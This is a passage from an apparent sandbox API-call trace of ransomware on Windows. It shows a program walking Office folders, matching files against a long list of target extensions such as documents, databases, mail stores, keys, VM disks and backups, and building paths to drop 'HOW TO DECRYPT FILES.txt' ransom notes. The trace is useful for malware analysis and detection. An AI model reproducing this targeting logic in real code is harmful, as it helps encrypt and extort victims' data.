(lpString="*.flac") returned 6 [0065.105] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.m4a") returned 0 [0065.105] lstrlenA (lpString="*.m4a") returned 5 [0065.105] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.csv") returned 0 [0065.105] lstrlenA (lpString="*.csv") returned 5 [0065.105] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89b0700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa89b0700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x26b4, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="form_edit.js", cAlternateFileName="FORM_E~1.JS")) returned 1 [0065.105] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.105] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="form_edit.js") returned -1 [0065.105] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="form_edit.js") returned 1 [0065.105] lstrcmpiA (lpString1="", lpString2="form_edit.js") returned -1 [0065.105] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp") returned="FormsViewAttachmentIconsMask.bmp" [0065.105] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.105] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.106] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.106] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.106] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="form_edit.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js" [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.ems") returned 0 [0065.106] lstrlenA (lpString="*.ems") returned 5 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.db") returned 0 [0065.106] lstrlenA (lpString="*.db") returned 4 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.dbf") returned 0 [0065.106] lstrlenA (lpString="*.dbf") returned 5 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.myox") returned 0 [0065.106] lstrlenA (lpString="*.myox") returned 6 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.myo") returned 0 [0065.106] lstrlenA (lpString="*.myo") returned 5 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qbw") returned 0 [0065.106] lstrlenA (lpString="*.qbw") returned 5 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qbb") returned 0 [0065.106] lstrlenA (lpString="*.qbb") returned 5 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qbm") returned 0 [0065.106] lstrlenA (lpString="*.qbm") returned 5 [0065.106] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qbo") returned 0 [0065.107] lstrlenA (lpString="*.qbo") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qbx") returned 0 [0065.107] lstrlenA (lpString="*.qbx") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qba") returned 0 [0065.107] lstrlenA (lpString="*.qba") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qby") returned 0 [0065.107] lstrlenA (lpString="*.qby") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qbj") returned 0 [0065.107] lstrlenA (lpString="*.qbj") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.ofx") returned 0 [0065.107] lstrlenA (lpString="*.ofx") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.qif") returned 0 [0065.107] lstrlenA (lpString="*.qif") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mye") returned 0 [0065.107] lstrlenA (lpString="*.mye") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mbox") returned 0 [0065.107] lstrlenA (lpString="*.mbox") returned 6 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.eml") returned 0 [0065.107] lstrlenA (lpString="*.eml") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.pst") returned 0 [0065.107] lstrlenA (lpString="*.pst") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.ost") returned 0 [0065.107] lstrlenA (lpString="*.ost") returned 5 [0065.107] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.idx") returned 0 [0065.107] lstrlenA (lpString="*.idx") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.dbx") returned 0 [0065.108] lstrlenA (lpString="*.dbx") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.sql") returned 0 [0065.108] lstrlenA (lpString="*.sql") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mdb") returned 0 [0065.108] lstrlenA (lpString="*.mdb") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.fdb") returned 0 [0065.108] lstrlenA (lpString="*.fdb") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.wab") returned 0 [0065.108] lstrlenA (lpString="*.wab") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.dat") returned 0 [0065.108] lstrlenA (lpString="*.dat") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.txt") returned 0 [0065.108] lstrlenA (lpString="*.txt") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.jpeg") returned 0 [0065.108] lstrlenA (lpString="*.jpeg") returned 6 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.jpg") returned 0 [0065.108] lstrlenA (lpString="*.jpg") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.png") returned 0 [0065.108] lstrlenA (lpString="*.png") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.php") returned 0 [0065.108] lstrlenA (lpString="*.php") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.cs") returned 0 [0065.108] lstrlenA (lpString="*.cs") returned 4 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.cpp") returned 0 [0065.108] lstrlenA (lpString="*.cpp") returned 5 [0065.108] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.rar") returned 0 [0065.109] lstrlenA (lpString="*.rar") returned 5 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.zip") returned 0 [0065.109] lstrlenA (lpString="*.zip") returned 5 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.html") returned 0 [0065.109] lstrlenA (lpString="*.html") returned 6 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.htm") returned 0 [0065.109] lstrlenA (lpString="*.htm") returned 5 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.xlsx") returned 0 [0065.109] lstrlenA (lpString="*.xlsx") returned 6 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.xls") returned 0 [0065.109] lstrlenA (lpString="*.xls") returned 5 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mp4") returned 0 [0065.109] lstrlenA (lpString="*.mp4") returned 5 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.ppt") returned 0 [0065.109] lstrlenA (lpString="*.ppt") returned 5 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.pptx") returned 0 [0065.109] lstrlenA (lpString="*.pptx") returned 6 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.doc") returned 0 [0065.109] lstrlenA (lpString="*.doc") returned 5 [0065.109] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.dot") returned 0 [0065.110] lstrlenA (lpString="*.dot") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.docx") returned 0 [0065.110] lstrlenA (lpString="*.docx") returned 6 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.7z") returned 0 [0065.110] lstrlenA (lpString="*.7z") returned 4 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.tar") returned 0 [0065.110] lstrlenA (lpString="*.tar") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.bz2") returned 0 [0065.110] lstrlenA (lpString="*.bz2") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.gz") returned 0 [0065.110] lstrlenA (lpString="*.gz") returned 4 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mkv") returned 0 [0065.110] lstrlenA (lpString="*.mkv") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.eml") returned 0 [0065.110] lstrlenA (lpString="*.eml") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.msg") returned 0 [0065.110] lstrlenA (lpString="*.msg") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.edb") returned 0 [0065.110] lstrlenA (lpString="*.edb") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.accdb") returned 0 [0065.110] lstrlenA (lpString="*.accdb") returned 7 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.odb") returned 0 [0065.110] lstrlenA (lpString="*.odb") returned 5 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.java") returned 0 [0065.110] lstrlenA (lpString="*.java") returned 6 [0065.110] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.asm") returned 0 [0065.110] lstrlenA (lpString="*.asm") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.pfx") returned 0 [0065.111] lstrlenA (lpString="*.pfx") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.pem") returned 0 [0065.111] lstrlenA (lpString="*.pem") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.p12") returned 0 [0065.111] lstrlenA (lpString="*.p12") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.gpg") returned 0 [0065.111] lstrlenA (lpString="*.gpg") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.vsd") returned 0 [0065.111] lstrlenA (lpString="*.vsd") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.odg") returned 0 [0065.111] lstrlenA (lpString="*.odg") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.raw") returned 0 [0065.111] lstrlenA (lpString="*.raw") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.nef") returned 0 [0065.111] lstrlenA (lpString="*.nef") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.svg") returned 0 [0065.111] lstrlenA (lpString="*.svg") returned 5 [0065.111] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.psd") returned 0 [0065.111] lstrlenA (lpString="*.psd") returned 5 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.vmx") returned 0 [0065.112] lstrlenA (lpString="*.vmx") returned 5 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.vmdk") returned 0 [0065.112] lstrlenA (lpString="*.vmdk") returned 6 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.vdi") returned 0 [0065.112] lstrlenA (lpString="*.vdi") returned 5 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.lay6") returned 0 [0065.112] lstrlenA (lpString="*.lay6") returned 6 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mpeg") returned 0 [0065.112] lstrlenA (lpString="*.mpeg") returned 6 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.djvu") returned 0 [0065.112] lstrlenA (lpString="*.djvu") returned 6 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.tiff") returned 0 [0065.112] lstrlenA (lpString="*.tiff") returned 6 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.backup") returned 0 [0065.112] lstrlenA (lpString="*.backup") returned 8 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.pdf") returned 0 [0065.112] lstrlenA (lpString="*.pdf") returned 5 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.cert") returned 0 [0065.112] lstrlenA (lpString="*.cert") returned 6 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.docm") returned 0 [0065.112] lstrlenA (lpString="*.docm") returned 6 [0065.112] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.xlsm") returned 0 [0065.113] lstrlenA (lpString="*.xlsm") returned 6 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.dwg") returned 0 [0065.113] lstrlenA (lpString="*.dwg") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.nd") returned 0 [0065.113] lstrlenA (lpString="*.nd") returned 4 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.tlg") returned 0 [0065.113] lstrlenA (lpString="*.tlg") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.lgb") returned 0 [0065.113] lstrlenA (lpString="*.lgb") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mov") returned 0 [0065.113] lstrlenA (lpString="*.mov") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.xdw") returned 0 [0065.113] lstrlenA (lpString="*.xdw") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.ods") returned 0 [0065.113] lstrlenA (lpString="*.ods") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.wav") returned 0 [0065.113] lstrlenA (lpString="*.wav") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.mp3") returned 0 [0065.113] lstrlenA (lpString="*.mp3") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.aiff") returned 0 [0065.113] lstrlenA (lpString="*.aiff") returned 6 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.flac") returned 0 [0065.113] lstrlenA (lpString="*.flac") returned 6 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.m4a") returned 0 [0065.113] lstrlenA (lpString="*.m4a") returned 5 [0065.113] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js", pszSpec="*.csv") returned 0 [0065.114] lstrlenA (lpString="*.csv") returned 5 [0065.114] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14316, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="InfoPathWelcomeImage.jpg", cAlternateFileName="INFOPA~1.JPG")) returned 1 [0065.114] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.114] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="InfoPathWelcomeImage.jpg") returned -1 [0065.114] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="InfoPathWelcomeImage.jpg") returned -1 [0065.114] lstrcmpiA (lpString1="", lpString2="InfoPathWelcomeImage.jpg") returned -1 [0065.114] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\form_edit.js") returned="form_edit.js" [0065.114] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.114] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.114] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.114] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.114] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="InfoPathWelcomeImage.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\InfoPathWelcomeImage.jpg" [0065.114] PathMatchSpecA 